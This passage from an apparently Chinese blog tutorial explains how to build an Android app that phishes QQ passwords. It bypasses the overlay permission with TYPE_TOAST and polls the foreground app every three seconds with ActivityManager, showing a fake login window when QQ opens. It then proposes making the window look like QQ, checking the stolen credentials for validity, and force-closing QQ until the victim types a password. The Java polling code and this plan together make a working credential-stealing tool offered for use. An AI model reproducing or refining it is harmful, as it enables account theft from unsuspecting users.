这里有几点需要说明一下，第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的，这个是在知乎上看见有人说的一个漏洞，哈哈；第二个是因为有Edittext，所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN，要不然软键盘会覆盖Window；第三个是返回键的监听，setOnKeyListener是不好用的，最后只能复写view类的dispatchKeyEvent函数来实现按键监听了；第四个是点击外部消失的操作，看代码就会明白了。
实现了弹出框的弹出之后，接着就要设置一个实时监听，开启一个线程，每隔几秒去监听用户正在操作的应用是否是QQ，这个就简单多了，使用ActivityManager就可以了：
new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ActivityManager activityManager = (ActivityManager)
getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> list =
activityManager.getRunningAppProcesses();
if (list.get(0).processName.equals("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();
这样效果就差不多了，最后在Activity中启动该Service即可，当然这个还有很多改进的余地：
1. 修改UI，使之更加的和QQ风格相似。
2. 用户输入完账号和密码之后，可以addView一个loadingDialog，接着调用相关接口去验证用户名和密码的正确性，不正确提示用户重新输入。
3. 如果用户不输入账号和密码，直接调用killBackgrondProcess函数（需要权限），强硬的把QQ关闭，直到用户输入账号和密码。
以上通过案例分析Android WindowManager解析与骗取QQ密码的过程，希望本文分享对大家有所帮助。
